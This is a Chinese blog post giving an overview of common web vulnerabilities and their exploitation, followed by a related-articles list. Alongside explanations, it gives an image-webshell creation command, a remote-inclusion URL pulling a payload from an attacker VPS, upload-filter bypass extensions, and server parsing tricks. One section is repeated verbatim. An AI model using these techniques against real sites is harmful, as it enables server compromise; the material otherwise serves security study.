草庐IT

常见web漏洞

别月. 2023-05-18 原文

SQL注入漏洞

  • 原理:网站对用户输入的数据没有经过严格的过滤导致带入到数据库中执行造成数据库信息泄露

  • 注入类型:

    按注入点类型: 数字型、字符型、搜索型;

    按数据库类型: Access、MsSQL、MySQL、Oracle、DB2等;

    按提交方式: GET、POST、Cookie、HTTP头、XFF;

    按执行效果分:布尔盲注、时间盲注、报错注入、联合注入、堆叠查询注入

  • 数据库信息泄露/GetShell(Webshell)【SQLI-Labs】

XSS跨站脚本攻击

  • 原理:攻击者在web页面中插入恶意的javascript脚本,当用户使用浏览器浏览该页面时,嵌入web页面中的javascript代码将会被执行,从而达到恶意攻击用户的目的。
  • 类型:
    • 存储型指的是恶意代码提交到了网站的数据库中,当用户请求数据的时候,服务器将其拼接为 HTML 后返回给了用户,从而导致了恶意代码的执行。
    • 反射型指的是攻击者构建了特殊的 URL,当服务器接收到请求后,从 URL 中获取数据,拼接到 HTML 后返回,从而导致了恶意代码的执行。
    • DOM 型指的是攻击者构建了特殊的 URL,用户打开网站后,js 脚本从 URL 中获取数据,从而导致了恶意代码的执行。
  • 窃取Cookie/JS编写的网页蠕虫【XSS-Labs】

CSRF跨站请求伪造

  • CSRF攻击利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。
  • 流程:

  • 修改网站其他用户信息 【pichachu 】 csrf漏洞

SSRF服务器端请求伪造

  • 原理:由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。

  • 高危函数

    1.curl_exec():执行给定的curl会话…这个函数应该在初始化一个curl会话并且全部的选向都被设置后调用;
    2.file_get_contents():函数的作用是将整个文件读入一个字符串中,并且此函数是用于把文件的内容读入到一个字符串中的首选方法;
    3.fsockopen():打开一个网络连接或套接字连接;

  • 查看本地敏感文件/刺探内网存活主机服务信息 【ssrf-Labs】

xss,csrf,ssrf区别:

  • XSS和CSRF都是针对客户端攻击,SSRF是针对服务端攻击;
  • XSS通过在网站注入恶意脚本,使之在用户的浏览器上运行,从而盗取用户的cookie信息,并借助BEEF中插件+MSF来获取客户端主机的控制权限。
  • CSRF利用用户的Cookie信息伪造用户请求发送至服务器,修改存在该漏洞站点的受害者用户信息,进行信息劫持。
  • SSRF能获取服务端的本地敏感信息来读取本机文件、探测内网存活主机、端口服务、并对内网服务器进行抓包请求。

XSS和CSRF的相同点,它们都是利用浏览器发送数据包,而SSRF是让服务器偷偷发送数据包

CSRF和XSS都会利用到Cookie,但CSRF是利用它让浏览器偷偷发送数据包,而XSS是直接窃取Cookie。

XXE实体注入

  • XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(file协议)、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害的漏洞
  • 利用:任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起 DoS 攻击等
    DTD重要关键字:DOCTYPE(DTD的声明),ENTITY(实体的声明),SYSTEM,PUBLIC(外部资源申请)
    实体类型:内置,字符,参数(%),通用实体(其余&)
  • 获取本地敏感信息/对内网存货主机探测、攻击 【pikachu】xxe漏洞

文件上传漏洞

  • 未对上传的文件进行严格的验证和过滤而导致的用户可以越过其本身权限向服务器上传可执行的动态脚本文件
    • 常见的网站文件后缀名:
      asp asa cdx cer php aspx ashx jsp php3 php.a shtml phtml
    • 有些网站会对 asp 或者 php 进行过滤转成空可用这些后缀名:
      aspasp asaspp phpphp
  • Getshell;前端JS检测;后端的PHP代码检测:检测MIME类型&白名单&黑名单&条件竞争&二次渲染【UPLOAD-Labs】

文件包含漏洞

站点程序将包含的文件设置成变量并未对用户恶意包含的文件进行严格的过滤导致被包含执行文件中的代码

  • 常见函数:

    include():代码执行到include时才将文件包含进来,发生错误时只给警告,继续向下执行;
    include_once():功能和include相同,区别在于当重复调用同一文件时,程序只调用一次;
    require():

    ​ 与include的区别在于require执行如果发生错误,函数会输出错误信息并终止脚本的运行;
    ​ 使用require()函数包含文件时,只要程序一执行立即调用文件,而include只有程序执行到该函数时才调用;
    require_once():功能与require相同,区别在于当重复调用同一文件时,程序只调用一次;

  • include() include_once()   加载不存在的文件 不会停止运行  只引入一次
    require()  require_once()   加载不存在的文件会停止运行 
    
  • 利用方法:

    需要引入上传的文件到网站目录或是服务器内部的文件,而且是权限是可读,才能引入进来,或远程包含进来,但是需要条件;

  • 文件包含–> 获取本地非自身脚本语言文件信息 / (网站权限)(网站数据)(服务器的权限)

  • 本地文件包含–>上传图片马(Copy 1.jpg/b+1.php/a 2.jpg)至网站–>index.php?include=/uploads/2.jpg
    远程文件包含–>上传图片马至黑客VPS开启HTTP服务–>index?phpinclude=http://laosec.cn:8080/2.jpg

文件解析漏洞

web服务器因对http请求处理不当导致将非可执行的脚本,文件等当做可执行的脚本,文件等执行。

—般配合服务器的文件上传功能使用,以获取服务器的权限。

  • IIS 5/6–> Windows server 2000&Windows server 2003 R2

    • 畸形文件 1.asp;.jpg
    • 畸形目录 1.asp/1.jpg
      IIS 7
    • 配置错误 1.jpg/.php

    Apache 1.x 2.x

    • 文件后缀 1.php.xxx -->绕过文件上传黑名单

    Nginx

    • 配置错误 1.jpg/.php

文件下载漏洞

对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意的文件,可以是源代码文件、敏感文件等。

命令执行

应用有时需要调用一些执行系统命令的函数,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

  • 相关函数
    system(args) (有回显)

    passthru(args)(有回显)

    exec(args) (回显最后一行)

    shell_exec(args) (无回显-必须输出)

    popen() (返回的是文件指针而非命令执行结果)

    反引号:`( 反引号里面的代码也会被当作OS命令来执行 )

  • 命令链接符

    ;(分号),| (管道符号 ),&(后台任务符号),&&(逻辑与),||(逻辑或),`(反引号),$(command) 命令执行

代码执行

当应用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞

  • 函数

    eval()
    assert()

    preg_replace()

    create_function()

    array_map()

    call_user_func()/call_user_fuc_array()

    array_filter()

    usort()、uasort()

    文件操作函数 file_put_contents() 、fputs()

反序列化漏洞

  • 序列化和反序列化介绍

    serialize()将一个对象转换成一个字符串;

    unserialize()将字符串还原为一个对象;

  • 反序列化漏洞就是因为在反序列化转换的过程中,触发代码执行,从而造成漏洞

  • 魔法函数:
    _construct() 当一个对象创建时被调用( 构造函数,当对象创建(new)时会自动调用

    ​ unserialize()反序列化时是不会自动调用的
    ​ _destruct() 当一个对象销毁前被调用 ;
    ​ _sleep()在对象被序列化前被调用 ( 用于提交未提交的数据,或类似的清理操作);
    ​ _wakeup将在反序列化之后立即被调用
    ​ _toString当一个对象被当做字符串使用时被调用
    ​ _get(),__set() 当调用或设置一个类及其父类方法中未定义的属性时
    ​ _invoke()调用函数的方式调用一个对象时的回应方法
    ​ _call 和 _callStatic前者是调用类不存在的方法时执行,而后者是调用类不存在的静态方式方法时执行

未授权访问漏洞

  • 概念:
    需要安全配置或权限认证的地址、授权页面存在缺陷,导致其他用户可以直接访问,从而引发重要权限可被操作、数据库、网站目录等敏感信息泄露。
  • 目前主要存在未授权访问漏洞的有:
    NFS 服务,Samba 服务,LDAP,Rsync,FTP,GitLab,Jenkins,MongoDB,Redis,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubb

业务逻辑漏洞

1.短信轰炸2.水平越权3.垂直越权4.支付漏洞5.身份验证缺失

目录遍历漏洞

由于web中间件目录访问相关的配置错误造成的,该漏洞会泄露web应用程序的敏感路径、敏感的文件信息、网站的编辑器路径或测试接口、系统敏感目录(配合…/等目录跳转符)等

可以GetShell有
SQL注入
文件包含
文件解析
文件上传
命令执行
代码执行
反序列化
未授权访问
,Dubb

业务逻辑漏洞

1.短信轰炸2.水平越权3.垂直越权4.支付漏洞5.身份验证缺失

目录遍历漏洞

由于web中间件目录访问相关的配置错误造成的,该漏洞会泄露web应用程序的敏感路径、敏感的文件信息、网站的编辑器路径或测试接口、系统敏感目录(配合…/等目录跳转符)等

可以GetShell有
SQL注入
文件包含
文件解析
文件上传
命令执行
代码执行
反序列化
未授权访问

有关常见web漏洞的更多相关文章

  1. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  2. git使用常见问题(提交代码,合并冲突) - 2

    文章目录git常用命令(简介,详细参数往下看)Git提交代码步骤gitpullgitstatusgitaddgitcommitgitpushgit代码冲突合并问题方法一:放弃本地代码方法二:合并代码常用命令以及详细参数gitadd将文件添加到仓库:gitdiff比较文件异同gitlog查看历史记录gitreset代码回滚版本库相关操作远程仓库相关操作分支相关操作创建分支查看分支:gitbranch合并分支:gitmerge删除分支:gitbranch-ddev查看分支合并图:gitlog–graph–pretty=oneline–abbrev-commit撤消某次提交git用户名密码相关配置g

  3. ruby - 将对象设置为 nil 是否很常见? - 2

    我正在构建一个应用程序,想知道是否将未使用的对象设置为nil是生产级编码中的常见做法。我知道这只是垃圾收集器的提示,并不总是处理对象。 最佳答案 根据这个thread如果您使用完一个成员对象,将其设置为nil将引发被引用对象被垃圾回收。如果它是局部变量,方法exit将做同样的事情。也就是说,如果您要求将成员显式设置为nil,我会质疑您的设计。 关于ruby-将对象设置为nil是否很常见?,我们在StackOverflow上找到一个类似的问题: https://

  4. ruby - 如何配置 Ruby Mechanize 代理以通过 Charles Web 代理工作? - 2

    我正在使用Ruby/Mechanize编写一个“自动填写表格”应用程序。它几乎可以工作。我可以使用精彩CharlesWeb代理以查看服务器和我的Firefox浏览器之间的交换。现在我想使用Charles查看服务器和我的应用程序之间的交换。Charles在端口8888上代理。假设服务器位于https://my.host.com。.一件不起作用的事情是:@agent||=Mechanize.newdo|agent|agent.set_proxy("my.host.com",8888)end这会导致Net::HTTP::Persistent::Error:...lib/net/http/pe

  5. ruby - 变量赋值后的 if 语句 - 有多常见? - 2

    我最近与一位同事讨论了以下Ruby语法:value=ifa==0"foo"elsifa>42"bar"else"fizz"end我个人并没有看到太多这种逻辑,但我的同事指出,这实际上是一种相当普遍的Rubyism。我试着用谷歌搜索这个主题,但没有找到任何文章、页面或SO问题来讨论它,这让我相信这可能是一种非常实际的技术。然而,另一位同事发现语法令人困惑,而是将上面的逻辑写成这样:ifa==0value="foo"elsifa>42value="bar"elsevalue="fizz"end缺点是value=的重复声明和隐式elsenil的丢失,如果我们想使用它的话。这也感觉它与Ruby

  6. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

  7. 常见网络安全产品汇总(私信发送思维导图) - 2

    安全产品安全网关类防火墙Firewall防火墙防火墙主要用于边界安全防护的权限控制和安全域的划分。防火墙•信息安全的防护系统,依照特定的规则,允许或是限制传输的数据通过。防火墙是一个由软件和硬件设备组合而成,在内外网之间、专网与公网之间的界面上构成的保护屏障。下一代防火墙•下一代防火墙,NextGenerationFirewall,简称NGFirewall,是一款可以全面应对应用层威胁的高性能防火墙,提供网络层应用层一体化安全防护。生产厂家•联想网御、CheckPoint、深信服、网康、天融信、华为、H3C等防火墙部署部署于内、外网编辑额,用于权限访问控制和安全域划分。UTM统一威胁管理(Un

  8. 关于Qt程序打包后运行库依赖的常见问题分析及解决方法 - 2

    目录一.大致如下常见问题:(1)找不到程序所依赖的Qt库version`Qt_5'notfound(requiredby(2)CouldnotLoadtheQtplatformplugin"xcb"in""eventhoughitwasfound(3)打包到在不同的linux系统下,或者打包到高版本的相同系统下,运行程序时,直接提示段错误即segmentationfault,或者Illegalinstruction(coredumped)非法指令(4)ldd应用程序或者库,查看运行所依赖的库时,直接报段错误二.问题逐个分析,得出解决方法:(1)找不到程序所依赖的Qt库version`Qt_5'

  9. 适用于Web开发的Python还是Ruby? - 2

    Asitcurrentlystands,thisquestionisnotagoodfitforourQ&Aformat.Weexpectanswerstobesupportedbyfacts,references,orexpertise,butthisquestionwilllikelysolicitdebate,arguments,polling,orextendeddiscussion.Ifyoufeelthatthisquestioncanbeimprovedandpossiblyreopened,visitthehelpcenter提供指导。11年前关闭。我是一位精通HTML

  10. ruby-on-rails - Web 应用程序中的 API 版本控制 - 2

    我目前正在为一个新网站设计版本化的API。我了解如何为路由命名空间,但我一直坚持在模型中实现版本化方法的最佳方式。下面的代码示例使用的是rails框架,但是事情的原理在大多数web框架之间应该是一致的。目前的路线看起来像这样:MyApp::Application.routes.drawdonamespace:apidonamespace:v1doresources:products,:only=>[:index,:show]endendend和Controller:classApi::V1::ProductsController很明显,我们只是在此处公开Product上可用的属性,如果

随机推荐